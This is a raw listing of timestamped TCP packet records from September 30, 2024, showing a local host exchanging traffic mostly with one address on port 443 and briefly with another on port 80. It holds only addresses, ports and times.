Sep 30, 2024 09:51:31.602860928 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.602912903 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.602921963 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.603008986 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.603060007 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.603068113 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.603110075 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.603116989 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.603226900 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.603271961 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.603280067 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.606789112 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.606849909 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.606858015 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.606941938 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.606992006 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.606998920 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.607086897 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.607182026 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.607189894 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.612076998 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.612142086 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.612149954 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.612302065 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.612353086 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.612361908 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.620623112 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.620667934 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.620676041 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.620842934 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.620896101 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.620903969 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.620994091 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.621077061 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.621119976 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.621129990 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.621222973 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.621275902 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.621284008 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.621326923 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.621642113 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.621958971 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.622014999 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.622021914 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.622104883 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.622153044 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.622167110 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.630126953 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.630189896 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.630197048 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.630354881 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.630462885 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.630507946 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.630515099 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.630641937 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.630691051 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.630698919 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.630743980 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.630852938 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.631000042 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.631056070 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.631063938 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.634308100 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.634356976 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.634371042 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.634532928 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.634615898 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.634663105 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.634670973 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.634855032 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.634860992 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.638528109 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.638726950 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.638765097 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.638776064 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.638818979 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.638828993 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.638942957 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.638993025 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.639002085 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.654818058 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.654871941 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.654957056 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.654959917 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.654972076 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.655023098 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.655031919 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.655100107 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.655117989 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.655124903 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.655165911 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.655173063 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.655462980 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.655514956 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.655523062 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.655606985 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.655648947 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.655652046 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.655662060 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.655703068 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.667344093 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.667521954 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.667570114 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.667576075 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.667591095 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.667633057 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.667640924 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.673712969 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.673775911 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.673815966 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.673841953 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.673851013 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.673867941 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.673897982 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.673940897 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.673948050 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.674334049 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.674380064 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.674381018 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.674391985 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.674427986 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.674436092 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.674864054 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.674937963 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.674981117 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.674988985 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.676819086 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.678788900 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.678870916 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.678913116 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.678914070 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.678927898 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.678965092 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.678972960 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.687551022 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.687598944 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.687640905 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.687659025 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.687666893 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.687697887 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.687724113 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.687766075 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.687767982 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.687781096 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.687819004 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.687825918 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.688692093 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.688734055 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.688771963 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.688786030 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.688796043 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.688822031 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.693198919 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.693264008 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.693265915 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.693278074 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.693317890 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.693325996 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.693387032 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.693449974 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.693456888 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.697624922 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.697727919 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.697767973 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.697777033 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.697787046 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.697810888 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.697849035 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.697895050 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.697902918 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.707350969 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.707462072 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.707526922 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.707535028 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.707626104 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.707636118 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.707653999 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.707830906 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.707880974 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.707890034 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.707931995 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.707937956 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.708061934 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.708112955 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.708121061 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.708204985 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.708250999 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.708265066 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.716630936 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.716716051 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.716766119 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.716775894 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.716864109 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.716912031 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.716918945 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.716959953 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.717216015 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.717365026 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.717410088 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.717418909 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.717509031 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.717556000 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.717564106 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.717875957 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.718564034 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.718571901 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.720871925 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.720954895 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.721014023 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.721021891 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.721369028 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.721385002 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.721393108 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.721574068 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.725260973 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.725408077 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.725490093 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.725545883 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.725553989 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.725630045 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.725677013 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.725683928 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.725727081 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.741307020 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.741452932 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.741523027 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.741533041 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.741632938 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.741708040 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.741719961 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.741734028 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.741784096 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.742022038 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.742170095 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.742248058 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.742254972 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.742539883 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.742597103 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.742604971 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.753930092 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.753988028 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.753995895 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.754102945 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.754148006 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.754156113 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.754250050 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.754301071 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.754308939 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.760382891 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.760514975 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.760572910 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.760581970 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.760663033 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.760711908 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.760726929 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.760768890 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.760775089 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.760895967 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.760937929 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.760945082 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.761426926 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.761478901 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.761487961 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.774683952 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.774724960 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.774755001 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.774765015 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.774796009 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.774823904 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.780219078 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.780268908 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.780296087 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.780309916 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.780339956 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.794009924 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.794059992 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.794095993 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.794105053 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.794135094 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.804146051 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.804183960 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.804213047 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.804222107 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.804250956 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.807817936 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.807864904 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.807889938 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.807912111 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.807936907 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.811669111 CEST	49729	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:31.811954021 CEST	49735	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:31.816832066 CEST	80	49735	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:31.816906929 CEST	49735	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:31.816941023 CEST	80	49729	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:31.816999912 CEST	49729	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:31.817179918 CEST	49735	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:31.822149038 CEST	80	49735	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:31.828099012 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.828139067 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.828171968 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.828186989 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.828224897 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.840826988 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.840869904 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.840894938 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.840903044 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.840934038 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.847544909 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.847583055 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.847613096 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.847623110 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.847652912 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.861324072 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.861370087 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.861418009 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.861428022 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.861464977 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.866647005 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.866688013 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.866712093 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.866723061 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.866766930 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.880791903 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.880855083 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.880942106 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.880942106 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.880953074 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.890928030 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.890981913 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.890994072 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.891007900 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.891038895 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.894967079 CEST	443	49731	216.58.206.33	192.168.2.5
